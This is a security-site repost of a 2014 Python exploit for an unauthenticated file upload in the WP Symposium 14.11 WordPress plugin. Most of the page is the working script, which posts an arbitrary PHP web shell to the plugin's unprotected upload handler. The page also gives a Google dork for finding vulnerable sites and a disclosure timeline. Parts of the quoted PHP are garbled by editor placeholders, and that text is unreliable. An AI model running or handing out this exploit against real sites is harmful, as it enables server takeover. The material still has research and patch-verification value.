首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WordPress WP Symposium 14.11 Shell Upload
来源:http://www.homelab.it 作者:Viviani 发布时间:2014-12-15  
#!/usr/bin/python
#
# Exploit Name: Wordpress WP Symposium 14.11 Shell Upload Vulnerability
#
#
# Vulnerability discovered by Claudio Viviani
#
# Exploit written by Claudio Viviani
#
#
# 2014-11-27:  Discovered vulnerability
# 2014-12-01:  Vendor Notification (Twitter)
# 2014-12-02:  Vendor Notification (Web Site) 
# 2014-12-04:  Vendor Notification (E-mail)
# 2014-12-11:  No Response/Feedback
# 2014-12-11:  Published
#
# Video Demo + Fix: https://www.youtube.com/watch?v=pF8lIuLT6Vs
#
# --------------------------------------------------------------------
#
# The upload function located on "/wp-symposium/server/file_upload_form.php " is protected:
#
#   if (
___FCKpd___0
FILES["file"]["error"] > 0) { # echo "Error: " .
___FCKpd___0
FILES["file"]["error"] . "<br>"; # } else { # $allowedExts = ','.get_option(WPS_OPTIONS_PREFIX.'_image_ext').','.get_option(WPS_OPTIONS_PREFIX.'_doc_ext').','.get_option(WPS_OPTIONS_PREFIX.'_video_ext'); # //echo "Upload: " .
___FCKpd___0
FILES["file"]["name"] . "<br>"; # $ext = pathinfo(
___FCKpd___0
FILES["file"]["name"], PATHINFO_EXTENSION); # //echo "Extension: " . $ext . "<br />"; # if (strpos($allowedExts, $ext)) { # $extAllowed = true; # } else { # $extAllowed = false; # } # //echo "Type: " .
___FCKpd___0
FILES["file"]["type"] . "<br>"; # //echo "Size: " . (
___FCKpd___0
FILES["file"]["size"] / 1024) . " kB<br>"; # //echo "Stored in: " .
___FCKpd___0
FILES["file"]["tmp_name"]; # # if (!$extAllowed) { # echo __('Sorry, file type not allowed.', WPS_TEXT_DOMAIN); # } else { # // Copy file to tmp location # ... # ... # ... # # BUTTTTT "/wp-symposium/server/php/index.php" is not protected and "/wp-symposium/server/php/UploadHandler.php" allow any extension # # The same vulnerable files are locate in "/wp-symposium/mobile-files/server/php/" # # --------------------------------------------------------------------- # # Dork google: index of "wp-symposium" # # # Tested on BackBox 3.x with python 2.6 # # Http connection import urllib, urllib2, socket # import sys # String manipulator import string, random # Args management import optparse # File management import os, os.path, mimetypes # Check url def checkurl(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) else: return url # Check if file exists and has readable def checkfile(file): if not os.path.isfile(file) and not os.access(file, os.R_OK): print '[X] '+file+' file is missing or not readable' sys.exit(1) else: return file # Get file's mimetype def get_content_type(filename): return mimetypes.guess_type(filename)[0] or 'application/octet-stream' def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) # Create multipart header def create_body_sh3ll_upl04d(payloadname, randDirName, randShellName): getfields = dict() getfields['uploader_uid'] = '1' getfields['uploader_dir'] = './'+randDirName getfields['uploader_url'] = url_symposium_upload payloadcontent = open(payloadname).read() LIMIT = '----------lImIt_of_THE_fIle_eW_
CRLF = '\r\n' L = [] for (key, value) in getfields.items(): L.append('--' + LIMIT) L.append('Content-Disposition: form-data; name="%s"' % key) L.append('') L.append(value) L.append('--' + LIMIT) L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', randShellName+".php")) L.append('Content-Type: %s' % get_content_type(payloadname)) L.append('') L.append(payloadcontent) L.append('--' + LIMIT + '--') L.append('') body = CRLF.join(L) return body banner = """ ___ ___ __ | Y .-----.----.--| .-----.----.-----.-----.-----. |. | | _ | _| _ | _ | _| -__|__ --|__ --| |. / \ |_____|__| |_____| __|__| |_____|_____|_____| |: | |__| |::.|:. | `--- ---' ___ ___ _______ _______ __ | Y | _ |______| _ .--.--.--------.-----.-----.-----|__.--.--.--------. |. | |. 1 |______| 1___| | | | _ | _ |__ --| | | | | |. / \ |. ____| |____ |___ |__|__|__| __|_____|_____|__|_____|__|__|__| |: |: | |: 1 |_____| |__| |::.|:. |::.| |::.. . | `--- ---`---' `-------' Wp-Symposium Sh311 Upl04d Vuln3r4b1l1ty v14.11 Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL: http[s]://www.victim.com[:PORT]", ) commandList.add_option('-f', '--file', action="store", help="Insert file name, ex: shell.php", ) commandList.add_option('--timeout', action="store", default=10, type="int", help="[Timeout Value] - Default 10", ) options, remainder = commandList.parse_args() # Check args if not options.target or not options.file: print(banner) commandList.print_help() sys.exit(1) payloadname = checkfile(options.file) host = checkurl(options.target) timeout = options.timeout print(banner) socket.setdefaulttimeout(timeout) url_symposium_upload = host+'/wp-content/plugins/wp-symposium/server/php/' content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_ randDirName = id_generator() randShellName = id_generator() bodyupload = create_body_sh3ll_upl04d(payloadname, randDirName, randShellName) headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'content-type': content_type, 'content-length': str(len(bodyupload)) } try: req = urllib2.Request(url_symposium_upload+'index.php', bodyupload, headers) response = urllib2.urlopen(req) read = response.read() if "error" in read or read == "0" or read == "": print("[X] Upload Failed :(") else: print("[!] Shell Uploaded") print("[!] Location: "+url_symposium_upload+randDirName+randShellName+".php\n") except urllib2.HTTPError as e: print("[X] "+str(e)) except urllib2.URLError as e: print("[X] Connection Error: "+str(e))
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Advantech AdamView 4.30.003 -
·Tuleap PHP Unserialize Code Ex
·VFU 4.10-1.1 - Buffer Overflow
·Wordpress Download Manager 2.7
·BulletProof FTP Client 2010 Bu
·tnftp - clientside BSD Exploit
·Flat Calendar 1.1 HTML Injecti
·ActualAnalyzer Cookie Command
·Tiny Server 1.1.9 - Arbitrary
·phpMyAdmin 4.0.x, 4.1.x, 4.2.x
·Windows Kerberos - Elevation o
·HTCSyncManager 3.1.33.0 - Serv
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved